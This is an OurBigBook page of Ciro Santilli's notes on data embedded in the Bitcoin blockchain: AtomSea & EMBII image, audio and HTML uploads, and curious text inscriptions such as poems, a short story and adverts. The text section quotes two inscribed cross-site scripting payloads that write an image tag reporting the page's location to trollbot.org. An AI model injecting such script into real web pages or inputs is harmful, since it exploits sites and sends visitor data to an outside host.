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Each AtomSea payload has a toplevel transaction which links to other transactions. All the linked transactions together make up the payload. The most common payload type is a text plus image, as is the case of Nelson-Mandela.jpg, which can be seen at bitfossil.com/78f0e6de0ce007f4dd4a09085e649d7e354f70bc7da06d697b167f353f115b8e/ where 78f0e6de0ce007f4dd4a09085e649d7e354f70bc7da06d697b167f353f115b8e is the toplevel transaction ID: www.blockchain.com/btc/tx/78f0e6de0ce007f4dd4a09085e649d7e354f70bc7da06d697b167f353f115b8e

See Section "Nelson-Mandela.jpg" for a detailed reverse engineering of the format, and Section "AtomSea & EMBII data format" for a summary of it.

Holy crap, they actually support:

multipage setups: The Mahabharata bitfossil.com/0618f12af65a4e82f8e7b41f8578721dfeb109e9a73ff71aebdbc982696e3720/
Figure 1.
Illustration for The Mahabharata inscription
.
image galleries: bitfossil.org/ae8d3b46b934bedc363e11abe8c8607171994470957c286274f699a0b3a9bbd7/index.htm
audio: Spock_Live_Long_And_Prosper.mp3 bitfossil.org/1bc87dbff1ff5831287f62ac7cf95579794e4386688479bab66174963f9a4a0c/index.htm
author photo below post via signture!!! bitfossil.org/738ab32bf82e3e0d4d2b29e40ad194cbbef6685d0116e94371e3cef4992349c8/index.htm (testnet) See the SIGNED BY with EMBII's photo!

apertus.io/ is the system to upload/index locally, and therefore likely part of the backend of bitfossil: github.com/HugPuddle/Apertus

The system shows the messages and the images on a single page: bitfossil.org/4cbb32cd27b5b5edc12d3559bdffc1355ac2a210463d5cfaadc7ce9b06675b2b/index.htm It is basically a blockchain-based Twitter.

Hidden surprises in the Bitcoin blockchain by Ken Shirriff (2014) suggests that AtomSea & EMBII are the creator's aliases. The following online profiles of the creators feel authentic:

AtomSea:
- twitter.com/TheAtomSea
- github.com/AtomSea
EMBII
HugPuddle
- github.com/HugPuddle

Tried saying hi to them at: twitter.com/cirosantilli/status/1382080760774033415 and they replied: twitter.com/AllenVandever/status/1563964396656812034

Somewhat related projects:

www.memorymatrix.org/

At twitter.com/EMBII4U/status/1762501350997233976 (2024) EMBII mentions that he was inspired by the Satoshi uploader.

 Read the full article

Cool data embedded in the Bitcoin blockchain / Interesting AtomSea & EMBII uploads by

Ciro Santilli 37  Updated 2025-05-13  +Created 1970-01-01

 View more

tx e3e37ed5c1de2631c147bd39429e42ff634e95b7d72423bc32d6c6b9d8eef8ee (2014-07-01):

For my first official Journal entry I've decided to archive some old poetry. Here are a few of the computational poems I've created using cyphers.

Figure 1.
`Shiemaa&Vincent.jpg`
. Source.
Message:
"Even if we tried to do it on purpose, never would have we succeeded." My beloved Vincent.
TODO identify Shiemaa and Vincent.
tx 36d0d77acd760f0aa549b6b314f0c1e9690baa6bcc2d0f07ea9f3167f4a5ec99, block 318836 (2014-09-03)Cost: ~0.002 BTC ~ $0.77 at the time.

Several other interesting uploads were also made around block 318836 (September 2014):

RedRaven.jpg bitfossil.org/e17b83234402d85f3a18207eec11bc5c4397f88aa880aae4fb7d15802806a971/index.htm
Earth3Archive.jpg bitfossil.org/ae8d3b46b934bedc363e11abe8c8607171994470957c286274f699a0b3a9bbd7/index.htm
SkyEarth5Archive.jpg bitfossil.org/ae8d3b46b934bedc363e11abe8c8607171994470957c286274f699a0b3a9bbd7/index.htm

Figure 2.
`BikeLady.jpg`
. Source.
Bike Lady by Allen Lee Vandever. tx 2c4b9497af8c0c0eb9383357b40c3de33dba0b4f481099a32719f2b9036da8e7, block 319927 (2014-09-10)
This seems to be a novel work uploaded by its creator artist Allen Vandever according to EMBII.^[ref].

Figure 3.
`Arecibo_message.svg`
. Source.
Arecibo message on tx c6d2e535cd2ba4659e954a61198c66fd98c60f6475cf8ff92a404f3fe3a16c4b, block 337874 (2015-01-07)
An "artificially" colored visualization of the Arecibo message ripped from Wikipedia: en.wikipedia.org/wiki/File:Arecibo_message.svg (with attribution).
The cool thing about this image is that it highlights the striking parallels between the encoding of the Arecibo message with crypto graffiti, because in both cases people were creating undocumented new ways of communicating with strangers on a new medium in those early blockchain days.
The associated message contains the Arecibo message as ASCII 0's and 1's. When properly cut at the newlines, they draw the message as ASCII art, as the original Arecibo encoding intends, here's a version with the 0's replaced by spaces to make it more readabale:
1 1 1 1 1 1 1 1 1 1 1 1 1 1 11 1 1 1 1 1 1 1 1 1 1 1 11 11 1 11 1 1 1 1 11111 11 111 11 11 1 11 1 11 1 11 11 11 1 11111 11111 11111 11111 1 1 1 1 11111 11111 11 11 111 11 1 1 1 11 1 11 111 11 1 11111 11111 11111 11111 1 11 1 11 1 11 1 11111 11 11111 11 1 1 1 1 11 1 11 11 1 11 1 11 11 11 11 1 11 11 11 1 1 1 1 1 11 1 1 11 1 1 1 1 1 1 1 1 11 11 11 1 111 1 11 1 1 1 11111 1 1 111 1 1 11 11 1 111 1 111111 1 111 111 11 111 1 1 111 11 1 1 1 111111 1 1 1 11 1 11 11 111 1 111 1 1 1 1 1 1 1 1 111 1 1 1 1 1 1 11111 111111111 111 111 11 11 11 1 1 11 11 11 11 11 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1111 11111 1 1111

Figure 4.
`He sleeps in a temple.jpg`
. tx 460ed23bea89176cdfe18e13fce51ad5386ad8e3e1f7d6f5b4711b3be97b0502 block 360565 (2015-06-12). EMBII claimed on Twitter that he took this photo in Auckland, New Zealand. The shop on the right corner has a sign that starts with "Bo" and searching for "Auckland Bo" gave us the "The body shop" on the corner of Queen Street and Darby Street. Some things changed between 2015 and 2024, notably the bench is gone and the shop on the left corner changed, but we can go back in time in Google Street View to 2015 which further confirms the location.

Figure 5.
PIA17563.jpg
. Source.
Associated message:
NASA: A purple nebula, in honor of #Prince, who passed away today. Image: Crab #Nebula, as Seen by Herschel and #Hubble Image credit: ESA/Herschel/PACS/MESS Key Programme Supernova Remnant Team; #NASA, ESA and Allison Loll/Jeff Hester (Arizona State University) #PIA17563
tx 4fb8620ccff8015a74cd3522f6dbee2821a0db48185f919050fb1ee572f30921 (2016-04-21)

Figure 6.
Dr_Craig_Wright.jpg
. Source.
tx b58e817c7fcd2552a6934cd64ff58d0405f81ea0786d3cd85c225ffe20b9018a (2016-06-20)
Associated message:
Is #Satoshi #Nakamoto #CraigWright? #SatoshiNakamoto #Craig #Steven #Wrigh
The image is present e.g. at: www.kitguru.net/channel/jon-martindale/australian-man-claims-he-is-satoshi-nakamoto-bitcoin-creator/ It was inscribed about two months after Craig publicly claimed that he is Satoshi.
This is a relatively unusual AtomSea & EMBII upload as it does not have the common toplevel transaction, everything, text + image fits into a single transaction. This is perhaps why the image is relatively low resolution to have a smaller size.

Figure 7.
`YellowRobot.jpg`
. Source.
Yellow Robot on tx 67b2facfd8160d4fa11b02829b6387d07537b57a7a24f19b029b2a5ae7b81830, block 450516 (2017-01-29)
Photography by EMBII, original art by TODO.
The associated message reads:
Chiharu and I found this little yellow robot while exploring Chicago. It will be covered by tar or eventually removed but this tribute will remain. N 41.880778 E -87.629210
This is one of Ciro's favorite AtomSea & EMBII uploads. This is the cutest thing ever, and perfectly encapsules the "medium as an artform" approach to blockchain art. More Chiharu stalking at: ILoveYouMore.jpg.
At twitter.com/EMBII4U/status/1615389973343268871 EMBII announced that he would be giving off shares of that image on a Bitcoin-based NFT sale system he's making called Sup!?, and in December 2023 gave some shares to Ciro Santilli. Amen.
Other possibly novel EMBII street photography:
bitfossil.com/f2efd446475ad58a3ea808cc0f05a63c55cece9fced70d84799a1ffce5d307e4/index.htm "I will not Stop until the Finite becomes the Infinite."

Audio:

alien.wav block 318638 bitfossil.org/a3a24d6ea01ce481a50346818b8977220687f3ba385838fe8894ce61c9718bbc/
OneGiantLeapForMankind.mp3 at tx 4f5b25fa8021c67235423930580e69121aa0d2c2bb779f75139bf442f8dc7297 EMBII-indexed at 743f3286b00fc96c13db4b16d5aead8a1e059fee9ce775b1761be9be5bdc2501 and then indexed at: 0427ec598df38b7d7dc75721316c0bbdec54de4871e11aff8ea64f3717c07efb
The toplevel index does appear on Bitfossil: bitfossil.org/0427ec598df38b7d7dc75721316c0bbdec54de4871e11aff8ea64f3717c07efb/index.htm but the audio is not there as it was for Spock below, maybe a bug on upload/Bitfossil?
Spock_Live_Long_And_Prosper.mp3 block 345858 bitfossil.org/1bc87dbff1ff5831287f62ac7cf95579794e4386688479bab66174963f9a4a0c/index.htm. Audio of Mr. Spock saying the Vulcan salute.
OuterSpace.mp3 block 409471 bitfossil.org/c14c1bd862bab6269052bf0a2cda7a35940d7a2d9c3415d4fb8fb8dcb9394fae/ "Outer Space by embii 4MB Large file storage test Apertus 0.3.5-beta" OMG, I don't want to calculate how much it cost to upload this, it will make me sad.
At twitter.com/EMBII4U/status/1655969645927563266 EMBII mentions that this inscription, made by him, is the largest inscription he knows of.
TODO song composer/performer?
bitfossil.com/c2b170ff450f4529dfbd784e0cf5cdddaca494e67a243dd846c0a9450a5558af/ (2021-03-13) contains Seikilos.mid, a MIDI file

Interesting text:

block 273522 bitfossil.org/70fd289901bae0409f27237506c330588d917716944c6359a8711b0ad6b4ce76/index.htm pi to 1000+ decimal digits:
bitfossil.org/8522787e7e49f3f3b6a9f9e86bc30336d26a3acbaecc93809d2e8b4bb1c4d611/ "Antarctic Ice Cores Revised 800KYr CO2 Data" evidence for global warming
bitfossil.org/ffa6893a70bcde9b940df9823e0f597f0b6cff964c78473c77db838655e1aeb5/ en.wikipedia.org/wiki/Laudato_si', global warming related

HTML pages:

block 335290 bitfossil.org/0166db6053f1969c28de8b1f9a8fa4ec890cc4bdfee7602757993b306bb7f295/ JavaScript animated timer clock counting down until the start of the next year
block 340379 bitfossil.org/062990d54045a9c316110fb713009d1313b2f64c4b216d66891c7284d6c1ca0e/ links to bitfossil.org/062990d54045a9c316110fb713009d1313b2f64c4b216d66891c7284d6c1ca0e/bong-ball.html and has a working JavaScript Pong
block 328445 tom-signature.jpg bitfossil.org/daa050bf8ac22752e40412c9265b4533f68ab8e6ed26d2db1eeee6710e7d9e4b/index.htm Unrendered HTML of:
- www.cartalk.com/content/tom-and-rays-bios-photos-2
- www.cartalk.com/content/rant-and-rave-36 "The New Theory of Learning" which agrees perfectly with backward design
Likely an obituary for: Thomas L. Magliozzi. Images show fine though.
block 401648 bitfossil.com/31c5e5336512568e4a1deb4bbf0e57c3565c32094c0e1a118c48e7929ab49e35/bong-ball.html another one! This one is full-screen, and does not have JavaScript alerts :-)
block 401657 bitfossil.org/03cb74f270d498302d4dd9cbe82c090d801c8840ab6cb26b71d862489b981db8/ has a JavaScript Pac-Man

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Tropical cyclones by strength by

Wikipedia Bot 0  1970-01-01

 Read the full article

Yuri Petunin by

Wikipedia Bot 0  1970-01-01

 Read the full article

Pidduck polynomials by

Wikipedia Bot 0  1970-01-01

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Cool data embedded in the Bitcoin blockchain / Text by

Ciro Santilli 37  Updated 2025-05-13  +Created 1970-01-01

 View more

Here are some exceptionally interesting text inscriptions that are not mentioned in other sections:

Section "Genesis block message"
tx 3a1c1cc760bffad4041cbfde56fbb5e29ea58fda416e9f4c4615becd65576fe7 (2013-04-10) has the broken Basic creature simulation mentioned at Hidden surprises in the Bitcoin blockchain by Ken Shirriff (2014) section "A creature simulator in Basic" starting with:
```
10 REM The variables in life
20 ' life the lifespan of a creature
30 ' mates the number of mates a creature needs to breed
```
tx 61e26d407c17e8ee33a8b166c78f78c53cdcdc0078ae1f9405e6583cfb90eaf4, block 268081 (2013-11-05). This is a very interesting transaction, it contains inscriptions both on the input script and on the output script. On the input:
I should not run the washing machine while listening to WZBC. I managed to convince myself that the machine was slowly failing -- that a rythmic, squeaking noise it had been making had gotten a little worse. Ten minutes later, though, the machine had paused. But the noise was still there.
On the output:
```
> Skynet went online on August 4th 1997, and began to learn at a geometric rate.
> It became self-aware on August 29th 1997 2:14 am Eastern Time. On August 29th
> 1997 2:15 am it discovered nihilism, and either shut itself down due to
> despair, or because it was logical. We're not sure which.

On August 4th, 1998, it failed to renew its domain name, which was promptly
squatted on by a link farmer pitching X10 cameras and singing electric fish.
```
Feels like a Koan. I wish I knew who inscribed this.
tx 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af block 305806 (2014-06-14) contains a blockchain explorer XSS detector that reports its location back to: www.trollbot.org/xss-blockchain-detector.php
```
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script> 
```
Soon afterwards at tx a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24 block 305809 there is a different version with slightly different escaping:
```
<script type='text/javascript'>document.write('<img src=\'http://www.trollbot.org/xss-blockchain-detector.php?bc=btc&href=' + location.href + '\'>');</script> 
```
Also of interest, the output script of 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af is non standard and a provably unspendable Bitcoin output script. a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24 however, although also non-standard, was spendable and was spent, further analysis at: Section "4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af".
tx 713a6832365a68f71c6aee879f79b70e6e738cd6255f09bc41f204c81575c248 (2014-09-28) via cryptograffiti.info has the eleven rules of LaVevan Stanism starting with:
1. Do not give opinions or advice unless you are asked.
tx 604f17dfdb5a88fc072bd2bcf53436087c899051241e519af7241dc0037d3df6 (2014-12-01) has a cover letter for a job at Hive Blockchain Technologies Ltd:
Dear hive team, ever since I have discovered Bitcoin I have been a fan of your products. [...]. Sincerely, Tim Daubenschuetz
At news.ycombinator.com/item?id=26826334 the supposed author mentions they didn't reply... sad. He did get to work for another Blockchain company though: www.ascribe.io, which eventually died. Presumably github.com/TimDaub.
tx 213e8f46f98e96f4f4d8b45bd3a1cbada14213796c200220e1e8c2b315988faa (2015-03-25)
Warning! Kaspersky Alerts Users of Malware and 'Blockchain Abuse'
contains a full-text copy of: cointelegraph.com/news/113806/warning-kaspersky-alerts-users-of-malware-and-blockchain-abuse (2015-03-27), includinga link to it. Two other copies appear in future transactions tx c863aa9d6aa9345e4abdc216b6f035c4276b4423a924bb2e1593c22c670cba6f and tx ba58caf1a27ab7ca627cc3efa5914e4d37e00b3a7e9cf29508d451dc3da00bf7
tx 3405f441f0d3acd8580d261d58e5a14d7638d0ee29200e673f496198d231edd7 block 364852 (2015-07-11) and a nearby transaction on the same block 1759ed3f0f5829711157c1fc3662f4bf01f3bee3a430242bc729898bb77c2a4a via cryptograffiti.info contains a possibly novel long short story entitled:
```
How to Play Chinese Hats
   - A Short Story -
         2015
```
The first paragraph is:
Somehow, you find yourself in a dim and smoky room with no entrance, exit or windows, without knowing how you got there or even where you've come from. In front of you are a group of Chinese gentlemen shuffling around what looks to be traditional black Chinese hats styled after the Ming dynasty, on a circular chestnut wood table. Surprisingly, you find the same type of hat in your very own hand when you look down.
At the end we see a signature and a tipjar:
```
Ren @ 1LQGWkhE7GULhj2gjjRwB9uZR7SMfGvjGV
```
He did receive one tipin 2015 for 0.02590000 BTC: www.blockchain.com/explorer/addresses/BTC/1LQGWkhE7GULhj2gjjRwB9uZR7SMfGvjGV
tx 0b63ebfadcb7bb66bc2a4bc7b826587505eab0450ca64c376ac9912a00d35c54 block 371796 (2015-08-27) via cryptograffiti.info has a large text entitled with what seems to be a storm forecast:
TROPICAL STORM ERIKA INTERMEDIATE ADVISORY NUMBER 11A
A Wikipedia page about the August 2015 event: en.wikipedia.org/wiki/Tropical_Storm_Erika
Tropical Storm Erika was one of the deadliest and most destructive natural disasters in Dominica since Hurricane David in 1979.
The storm was formed "August 24, 2015", so this inscription was contemporary. Good friend, warning his fellow Bitcoiners.
tx 4dd57f3e443ad1567a37beab8f6b31d8cb1328a26bac09e50ba96048ad07b8c1 (2015-09-03) via cryptograffiti.info contains a long porn comededy text in an Italian-like languge starting with:
E il cazzo non entr
which translates to:
And the dick doesn't fit
.
By dumping the transaction data, we actually see that the beginning was slightly missed due to a character encoding issue, the text actually starts with:
BANG!
followed by some non ASCII characters that we haven't yet been able to decode. It is not ISO_8859-1.
Ciro Santilli first thought it might beto be a dialect of Italian, or possibly Sicilian language given the presence of "sv" in the text, but an Italian friend says it is just Italian with several words cut in half, possibly for comedic effect. No pre-existing hits found on the web.
tx 24e137d5b478d9a8b947e4f3f6130a86f2e0f6a2dda1cac1373b485c577f8ba7 (2015-12-03) contains a tale of an Electrical Engineer vs a Software developer tale.
Once upon a time, in a kingdom not far from here
Possible original: www.cs.brandeis.edu/~hornby/amuse/vs_toast.txt
tx e2c20c2977589240ad9486672a0273d340ed5f8b50a50071716d12035d7212e8 (2016-01-31) has a large Lorem ipsum
tx 5f62490ca4736da30da35ebc3f86156dbdb529dcb2f77cb8b0eb84868d567b00 (2016-05-05) via cryptograffiti.info contains a poem entitled:
Voor mijn jongere broeder
whichi is Dutch for;
For my younger brother
No Google hits, so possibly novel.
tx 0809e7f31d074eefc0f1f02463a28b5238688aa73e6361c01cbc7b1848ac8d93 (2017-07-10) via cryptograffiti.info contains a white paper entitled:
Disincentivizing Double-Spending by Making it Unprofitable
by Erich Ertsu from Coingaming Group (July, 2017). He was previously the creator of cryptograffiti.info This is the startup: www.crunchbase.com/organization/coingaming, previously at coingaming.io but now moved toyolo.com. The paper does not seem to be reproduced anywhere on the clearweb, the blockchain was its primary location of publication.
tx e450166eba552202fb6984867f2b851e2399c5a0ae05026bf6b056176491ec5d (2017-03-11)
Here are some of the reasons why Tau is better than Pi as a universal constant for circles.
tx 0f25e23b7b59fde67d8b2d41b749e4f89fd1ff8061aa0ddac8c27c8230167e35 (2017-08-18):
A Crosschain transaction was sent in to your address in error. The transaction was 9174f24946496823e4edaf3fe1676a404164178d1c848fa476113bbe2f5b9463 . Please return to 1AAEXtLo9SoyFQbZvWoqAMCpkz9okSpCuV. Thank you in advance."
Epic. The transaction sent:
- 0.23225200 to 1BqyRKHoLEKgHGUoDiFUEZu5jPaWeuCWWt
- 5.6 BTC to 1JG8EVTx1zWzDyctAD5fFuMt59TWkSw2dW
1AAEXtLo9SoyFQbZvWoqAMCpkz9okSpCuV never received anything back so far.
The message is encoded as fake 12 P2PKH outputs, followed by an actual address, presumably the message target, but none of the addresses is one of the above targets of the transaction, so how did they know to associate the addreses? They must have extra hidden data?
tx 057954bb28527ff9c7701c6fd2b7f770163718ded09745da56cc95e7606afe99, block 666666 (2021-01-18):
Do not be overcome by evil, but overcome evil with good - Romans 12:21
As highlighted at www.reddit.com/r/Bitcoin/comments/vxletr/message_was_embedded_in_block_666666/ the block number is a reference to the number of the beast. Later also posted on another Reddit thread: A Weird Message Was Embedded in Bitcoin’s 666,666th Block — Turns Out It’s a Bible Verse (2025)

TODO:

55a5d0c09ad5535711d649fdab394add3bb6e50cc2c49920cf0cb758ff0b69e8 via cryptograffiti.info contains what seems to be a ASCII table tracking train movements? Maybe from a train lover? But also curiously, it is GPG signed:
```
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

time    direction    # covered    #uncovered    notes
11/11/2013 6:31pm    E    4    1    csx 6243
11/19/2013 4:46pm    E    3    0    csx 6215
11/19/2013 5:44pm    W    4    0    Amtrak
11/21/2013 4:05pm    E    0    0    csx 6206
```
Interesting.
86c1b7bd8bbdd8903355a8f6a408616621fd2ea4321b9aced778f388afe0b244 has something similar.
cc38d740dc1999a803dbba0c48a82af994861e0767f6bcd7d6ceebe4e66b4678 via cryptograffiti.info contains a pipe dream technical proposal idea entitled:
Attack-resistant decentralized time and location services via Nakamoto chain consensus.
5d9ef37e6beea5342ce1cb2681a7b465a542394aeda2b1e1fed00fab44b17833 via cryptograffiti.info contains a test of every character from 0 to 255, e.g. some of the readable characters are:
```
65:              A
66:              B
67:              C
68:              D
69:              E
70:              F
71:              G
72:              H
73:              I
74:              J
75:              K
76:              L
77:              M
```
d5f6614b4e3bdc611c8ad15f158163e48e1a1298ea5f5f9832ada8db6e2dd4b2 has something similar.
0f96b2f6e3c4f4b6319efbafd2e7148d507b260b4d7914766e79aec7d9ac9574 via cryptograffiti.info has a long-ish message that looks like a software release note, not sure what it is about:
```
Truecrypt 7.1a
==============

2015-07-19

I am setting the filesizes and checksums of the last Truecrypt version (7.1a) in stone.
```
206a0edb11ba0677248709d9bc5210b35e8a03710d9bb19c6f1e4e254bf21f5e via cryptograffiti.info has a letter to AGI:
Dear Artificial Intelligence,
While cute, the author clearly underestimates the magnitude of singularity!
cdbeb50c11b788fa4e67e00fb2e2607b129492a4a38bed0a9e31443a42e272a4 via cryptograffiti.info contains a semi-philosophical text that starts with:
When in the course of cosmic evolution,
b55c3312ceeeb4ab422b658f5f4d5884775a498ddde6a527fca7b67752e1b044 via cryptograffiti.info contains some wedding vows starting with and GPG-signed:
Zachary Thomas Smith,
I give myself - Jenna Marie Vaziri - to you, to be your wife, your best friend, and your home - just as you are to me.

3620da027df2e2e34ac9abe0123dcd7217fc5b8dec9921cbae258c640c7a6591 via cryptograffiti.info contains a neatly formatted UTF-8 ad with a link to: bitcointalk.org/index.php?topic=1033773.0

╭───────────────────────────────────────────────────────────────────────────╮
│    B&C EXCHANGE:  A decentralized cryptocurrency exchange for everyone    │
┝━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┥
│             https://bitcointalk.org/index.php?topic=1033773.0             │
│                                                                           │
│ B&C Exchange will be an open-source decentralized exchange that completes │
│ cryptocurrency  trades between  users by utilizing multisig signers  that │
│ compete for blockchain  rewards based on their effectiveness and honesty. │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤
┆          ▷▶▷▶    There are 10 days  left in the auction!    ◀◁◀◁          ┆
╰───────────────────────────────────────────────────────────────────────────

The thread links to bcexchange.org/ which is dead as of 2024.

f93e128c59b357ca2d1b256eb1c4d991c488da460527ca0898dc789210073bd2 has another one:

┏━━ UTF-8 is coming to CryptoGraffiti.info!!! ━━┓
┠╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┨
┃ I love you.                          Σ΄αγαπώ. ┃
┃               Ma armastan sind.               ┃
┃ Aš tave myliu.               Mä rakastan sua. ┃
┃                 Я люблю тебя.                 ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

140562ceb42fc8943fa52ccc0ddbb11ca2d88dae9b5240d7a4b46864538c515a

Reddit on the Bitcoin blockchain Test

TODO understand this part:

The "Address" you see above is more than a bitcoin address? For example, the web address to this 

reddit thread is: https://www.reddit.com/r/Bitcoin/comments/3cdxep/reddit_on_the_blockchain_test/

Which converts to the bitcoin address of:
12uPLj6PSz6ULnZi1jXo7Ch1Je1SuqxRcE

How? Because any text, like a web address, can be converted into a bitcoin address.

www.reddit.com = 1MZCEUCtyJCDkNSLYbPVvAgf9V3CsEw3t
www.google.com = 1JEZLaFciACHDEMVd3RXZzPmGcsWEwYQLr
www.voat.com = 1JvCp9X5Bvvt2kz3EqP5ppkzX62sKgKbqr
www.paystamper.com = 14wgeaWz2rKax8iVSWNFSrSsAYNeGyNdkt
Duriel@paystamper.com = 1HcuhfTAiQCt6KdMG2rZLXsTcKYj9nLDhS

940f41f5cc96182c1392c239d7570f94bd524e141ca0a88fdb154bd817049f83.bin via cryptograffiti.info contains some links to profiles controlled by a "Daniel Michael Abraham" www.linkedin.com/in/daniel-abraham-9432a798/. Other messages by him:
- 3d39024fa0cddfc529d4a41501df7a076f5bcf9a7a43f88f54a717e6df7f4770
- 088ebf7ffdef96b8fcac7eafa2ff6d04f295ea24f159e1ce4b7d47ed7b91b1f9

 Read the full article

Pierieliepiepielo by

Wikipedia Bot 0  1970-01-01

 Read the full article

Free science software by

Wikipedia Bot 0  1970-01-01

 Read the full article

Tube bending by

Wikipedia Bot 0  1970-01-01

 Read the full article

 Pinned article: ourbigbook/introduction-to-the-ourbigbook-project

Welcome to the OurBigBook Project! Our goal is to create the perfect publishing platform for STEM subjects, and get university-level students to write the best free STEM tutorials ever.

Everyone is welcome to create an account and play with the site: ourbigbook.com/go/register. We belive that students themselves can write amazing tutorials, but teachers are welcome too. You can write about anything you want, it doesn't have to be STEM or even educational. Silly test content is very welcome and you won't be penalized in any way. Just keep it legal!

Video 1.

Intro to OurBigBook

. Source.

We have two killer features:

topics: topics group articles by different users with the same title, e.g. here is the topic for the "Fundamental Theorem of Calculus" ourbigbook.com/go/topic/fundamental-theorem-of-calculus
Articles of different users are sorted by upvote within each article page. This feature is a bit like:
- a Wikipedia where each user can have their own version of each article
- a Q&A website like Stack Overflow, where multiple people can give their views on a given topic, and the best ones are sorted by upvote. Except you don't need to wait for someone to ask first, and any topic goes, no matter how narrow or broad
This feature makes it possible for readers to find better explanations of any topic created by other writers. And it allows writers to create an explanation in a place that readers might actually find it.
Figure 1.
Screenshot of the "Derivative" topic page
. View it live at: ourbigbook.com/go/topic/derivative
Video 2.
OurBigBook Web topics demo
. Source.
local editing: you can store all your personal knowledge base content locally in a plaintext markup format that can be edited locally and published either:
- to OurBigBook.com to get awesome multi-user features like topics and likes
- as HTML files to a static website, which you can host yourself for free on many external providers like GitHub Pages, and remain in full control
This way you can be sure that even if OurBigBook.com were to go down one day (which we have no plans to do as it is quite cheap to host!), your content will still be perfectly readable as a static site.
Figure 2.
You can publish local OurBigBook lightweight markup files to either OurBigBook.com or as a static website
.
Figure 3.
Visual Studio Code extension installation
.
Figure 4.
Visual Studio Code extension tree navigation
.
Figure 5.
Web editor
. You can also edit articles on the Web editor without installing anything locally.
Video 3.
Edit locally and publish demo
. Source. This shows editing OurBigBook Markup and publishing it using the Visual Studio Code extension.
Video 4.
OurBigBook Visual Studio Code extension editing and navigation demo
. Source.
Internal cross file references done right:
Infinitely deep tables of contents:
Figure 6.
Dynamic article tree with infinitely deep table of contents
.
Live URL: ourbigbook.com/cirosantilli/chordate
Descendant pages can also show up as toplevel e.g.: ourbigbook.com/cirosantilli/chordate-subclade

All our software is open source and hosted at: github.com/ourbigbook/ourbigbook

Further documentation can be found at: docs.ourbigbook.com

Feel free to reach our to us for any help or suggestions: docs.ourbigbook.com/#contact

 Site settings